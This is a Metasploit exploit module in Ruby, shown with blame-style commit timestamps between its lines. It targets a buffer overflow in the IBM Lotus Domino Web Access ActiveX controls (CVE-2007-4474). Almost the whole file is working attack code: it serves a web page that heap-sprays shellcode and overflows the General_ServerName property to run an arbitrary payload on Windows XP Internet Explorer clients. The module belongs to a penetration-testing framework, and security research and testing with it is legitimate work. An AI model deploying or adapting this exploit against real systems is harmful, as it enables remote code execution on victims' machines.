2010-04-30 08:40:19 +00:00
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##
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# $Id$
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##
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2008-02-14 16:15:20 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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2009-04-13 14:33:26 +00:00
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# http://metasploit.com/framework/
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2008-02-14 16:15:20 +00:00
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##
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require 'msf/core'
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2008-10-02 05:23:59 +00:00
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class Metasploit3 < Msf::Exploit::Remote
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2009-12-06 05:50:37 +00:00
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Rank = NormalRanking
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2008-02-14 16:15:20 +00:00
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2008-10-02 05:23:59 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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2008-02-14 16:15:20 +00:00
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'IBM Lotus Domino Web Access Upload Module Buffer Overflow',
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'Description' => %q{
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2010-05-09 17:45:00 +00:00
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This module exploits a stack buffer overflow in IBM Lotus Domino Web Access Upload Module.
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2010-04-30 08:40:19 +00:00
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By sending an overly long string to the "General_ServerName()" property located
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in the dwa7w.dll and the inotes6w.dll control, an attacker may be able to execute
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arbitrary code.
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2008-02-14 16:15:20 +00:00
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},
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'License' => MSF_LICENSE,
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2010-04-30 08:40:19 +00:00
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'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
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2008-02-14 16:15:20 +00:00
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'Version' => '$Revision$',
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2010-04-30 08:40:19 +00:00
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'References' =>
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2008-02-14 16:15:20 +00:00
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[
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2009-10-14 11:45:14 +00:00
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[ 'CVE', '2007-4474' ],
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2009-06-07 20:20:42 +00:00
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[ 'OSVDB', '40954' ],
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2008-02-14 16:15:20 +00:00
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[ 'BID', '26972' ],
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[ 'URL', 'http://milw0rm.com/exploits/4820' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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2008-08-01 20:04:42 +00:00
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'StackAdjustment' => -3500,
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2008-02-14 16:15:20 +00:00
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},
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'Platform' => 'win',
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'Targets' =>
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[
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2010-04-30 08:40:19 +00:00
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[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Ret' => 0x0C0C0C0C } ]
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2008-02-14 16:15:20 +00:00
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],
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'DisclosureDate' => 'Dec 20 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Setup exploit buffers
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nops = Rex::Text.to_unescape(make_nops(4))
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junk = Rex::Text.to_unescape(rand_text_alpha(2))
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ret = Rex::Text.to_unescape([target.ret].pack('V'))
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blocksize = 0x30000
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2010-04-30 08:40:19 +00:00
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fillto = 400
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2008-02-14 16:15:20 +00:00
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# Randomize the javascript variable names
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dwa7w = rand_text_alpha(rand(100) + 1)
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2010-04-30 08:40:19 +00:00
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inotes6 = rand_text_alpha(rand(100) + 1)
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j_shellcode = rand_text_alpha(rand(100) + 1)
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2008-02-14 16:15:20 +00:00
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j_nops = rand_text_alpha(rand(100) + 1)
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j_headersize = rand_text_alpha(rand(100) + 1)
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j_slackspace = rand_text_alpha(rand(100) + 1)
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j_fillblock = rand_text_alpha(rand(100) + 1)
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j_block = rand_text_alpha(rand(100) + 1)
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j_memory = rand_text_alpha(rand(100) + 1)
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j_counter = rand_text_alpha(rand(30) + 2)
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j_ret = rand_text_alpha(rand(100) + 1)
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j_junk = rand_text_alpha(rand(100) + 1)
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2010-04-30 08:40:19 +00:00
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2008-02-14 16:15:20 +00:00
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# Build out the message
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content = %Q|
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<html>
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<object classid='clsid:E008A543-CEFB-4559-912F-C27C2B89F13B' id='#{dwa7w}'></object>
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<object classid='clsid:3BFFE033-BF43-11D5-A271-00A024A51325' id='#{inotes6}'></object>
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<script language='javascript'>
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#{j_shellcode} = unescape('#{shellcode}');
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#{j_nops} = unescape('#{nops}');
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#{j_headersize} = 20;
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#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
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while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
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#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
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#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
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while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
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#{j_memory} = new Array();
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for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
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#{j_ret} = unescape('#{ret}');
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while (#{j_ret}.length < 450) #{j_ret} += #{j_ret};
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#{j_junk} = unescape('#{junk}');
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while (#{j_junk}.length < 2000) #{j_junk} += #{j_junk};
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try {
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#{dwa7w}.General_ServerName = #{j_junk} + #{j_ret};
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#{dwa7w}.InstallBrowserHelperDll();
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2008-02-20 16:45:03 +00:00
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} catch(err) {}
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try {
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2008-02-14 16:15:20 +00:00
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#{inotes6}.General_ServerName = #{j_junk} + #{j_ret};
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#{inotes6}.InstallBrowserHelperDll();
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} catch(err) {}
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</script>
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</html>
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2010-04-30 08:40:19 +00:00
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2008-02-14 16:15:20 +00:00
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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2010-04-30 08:40:19 +00:00
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2008-02-14 16:15:20 +00:00
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# Handle the payload
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handler(cli)
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end
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2009-06-07 20:20:42 +00:00
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end
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